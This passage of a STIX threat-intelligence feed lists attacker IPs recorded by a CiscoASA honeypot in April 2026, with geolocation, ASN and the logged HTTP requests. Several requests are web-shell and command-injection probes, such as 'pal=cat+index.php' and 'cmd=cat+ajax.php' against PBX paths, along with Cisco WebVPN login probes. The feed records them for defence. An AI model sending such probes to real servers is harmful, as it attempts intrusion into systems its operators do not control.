          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T09:12:22.981Z",
          "last_seen": "2026-04-24T09:12:32.129Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ops.php?45xx HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/ops.php?5awe6 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /css/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--d8c432d5-538c-4589-aedf-2fa075336075",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-24T09:05:35.870Z",
          "last_seen": "2026-04-24T09:15:36.989Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /css/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/Dead_Sec_Team/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/ELMAYET/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/config.amportal.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:52.933Z",
          "last_seen": "2026-04-24T09:15:52.933Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:11:09.713Z",
          "last_seen": "2026-04-24T09:11:09.713Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/Hima.php?23 HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--cb92cea1-060d-482e-88e1-952af433cf82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-24T09:05:11.139Z",
          "last_seen": "2026-04-24T09:10:25.402Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /recordings/Hima.php?23 HTTP/1.1\" 404 -",
            "\"GET /recordings/Hima_s.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/graph.php?module=upload&x HTTP/1.1\" 404 -",
            "\"GET /recordings/info.php?xx HTTP/1.1\" 404 -",
            "\"GET /recordings/ini.php?123 HTTP/1.1\" 404 -",
            "\"POST / HTTP/1.1\" 302 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 - geo: NL; ASN 214677 (DELUXHOST)",
      "id": "indicator--3f7c466f-d8be-4bf4-a27b-16cd34de821e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.181.177.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-24T09:06:24.414Z",
          "last_seen": "2026-04-24T09:06:33.444Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 214677,
          "as_org": "DELUXHOST",
          "event_types": [
            "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /darkness.php?xasd HTTP/1.1\" 404 -",
            "\"GET /digium_phones/test.php?cc HTTP/1.1\" 404 -",
            "\"GET /freeppx/fx29.php? HTTP/1.1\" 404 -",
            "\"GET /omda.php?xzxr45f HTTP/1.1\" 404 -",
            "\"GET /test.php?x123x9 HTTP/1.1\" 404 -",
            "\"GET /xx.php?x1q23ed HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /?pal=cat+index.php& HTTP/1.1\" 404 - geo: NL; ASN 214677 (DELUXHOST)",
      "id": "indicator--b77c7464-3dce-4136-89f2-b439b5df1737",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.181.177.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-24T09:06:15.188Z",
          "last_seen": "2026-04-24T09:06:23.118Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 214677,
          "as_org": "DELUXHOST",
          "event_types": [
            "\"GET /?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?pal=cat+config.php& HTTP/1.1\" 404 -",
            "\"GET /digium_phones/ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /digium_phones/emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /rrr.php?badr1badr=cat+rrr.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 - geo: DE; ASN 197540 (netcup GmbH)",
      "id": "indicator--228f8992-20f2-4b6d-b455-903a518672f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.45.102.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T09:07:00.361Z",
          "last_seen": "2026-04-24T09:07:09.180Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 197540,
          "as_org": "netcup GmbH",
          "event_types": [
            "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
            "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
            "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /xml.php?vcd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /framework/config.all.php?x HTTP/1.1\" 404 - geo: RO; ASN 399629 (BL Networks)",
      "id": "indicator--b42e0bf6-1f0d-4a40-82fa-4880dfa57762",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '72.5.43.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:42.456Z",
          "last_seen": "2026-04-24T09:15:42.456Z",
          "country": "Romania",
          "country_code": "RO",
          "asn": 399629,
          "as_org": "BL Networks",
          "event_types": [
            "\"GET /framework/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 207043 (Dedik Services Limited)",
      "id": "indicator--bf3471d6-4ed7-4672-bd33-28678ad5f4ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.92.34.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:07:01.699Z",
          "last_seen": "2026-04-24T09:07:01.699Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 207043,
          "as_org": "Dedik Services Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/tika.php?ery HTTP/1.1\" 404 - geo: SE; ASN 8473 (Bahnhof AB)",
      "id": "indicator--e038d426-3cb3-492d-a20a-6c9b4107bbb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.128.173.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T09:07:11.017Z",
          "last_seen": "2026-04-24T09:07:16.085Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 8473,
          "as_org": "Bahnhof AB",
          "event_types": [
            "\"GET /_asterisk/tika.php?ery HTTP/1.1\" 404 -",
            "\"GET /var/tika.php?bbt HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/xml.php?jhf HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--11983208-90f1-4d0d-a171-19ea03f10a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:20:10.000Z",
      "valid_until": "2026-05-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-24T11:01:28.627Z",
          "last_seen": "2026-04-24T20:07:16.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f8512028-bb27-4489-ac44-b0e51cf3dc61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:20:10.000Z",
      "valid_until": "2026-05-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T11:17:11.142Z",
          "last_seen": "2026-04-29T10:10:14.819Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--222030e8-16aa-4547-a590-b67372aee4be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:20:10.000Z",
      "valid_until": "2026-05-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T10:46:33.589Z",
          "last_seen": "2026-04-24T10:46:40.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5aa66620-ecf1-4bf2-a349-6ae11411a922",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:20:13.000Z",
      "valid_until": "2026-05-26T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T11:26:21.317Z",
          "last_seen": "2026-04-24T11:26:28.518Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--795f755e-d7c1-4f1a-9a77-09fa33d1857b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:20:10.000Z",
      "valid_until": "2026-05-26T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T13:04:31.298Z",
          "last_seen": "2026-04-28T05:14:08.693Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--2c9f4167-274f-4a11-a384-6255ce9c22d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:20:10.000Z",
      "valid_until": "2026-05-26T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T09:47:38.920Z",
          "last_seen": "2026-04-27T18:29:18.405Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--ab8c59f4-fa4d-4a08-ac7a-70d50bc6bdff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:20:10.000Z",
      "valid_until": "2026-05-26T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T13:18:49.194Z",
          "last_seen": "2026-04-24T13:33:15.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ba8c5790-e886-4262-bd4e-f03f72d00771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:20:10.000Z",
      "valid_until": "2026-05-26T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T12:46:46.200Z",
          "last_seen": "2026-04-24T12:46:53.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 44066 (firstcolo GmbH)",
      "id": "indicator--9e463cdf-35e3-48bd-b194-57e4317e1422",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '82.211.8.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:20:10.000Z",
      "valid_until": "2026-05-26T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T12:23:20.248Z",
          "last_seen": "2026-04-24T12:23:20.918Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 44066,
          "as_org": "firstcolo GmbH",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T14:20:16.000Z",
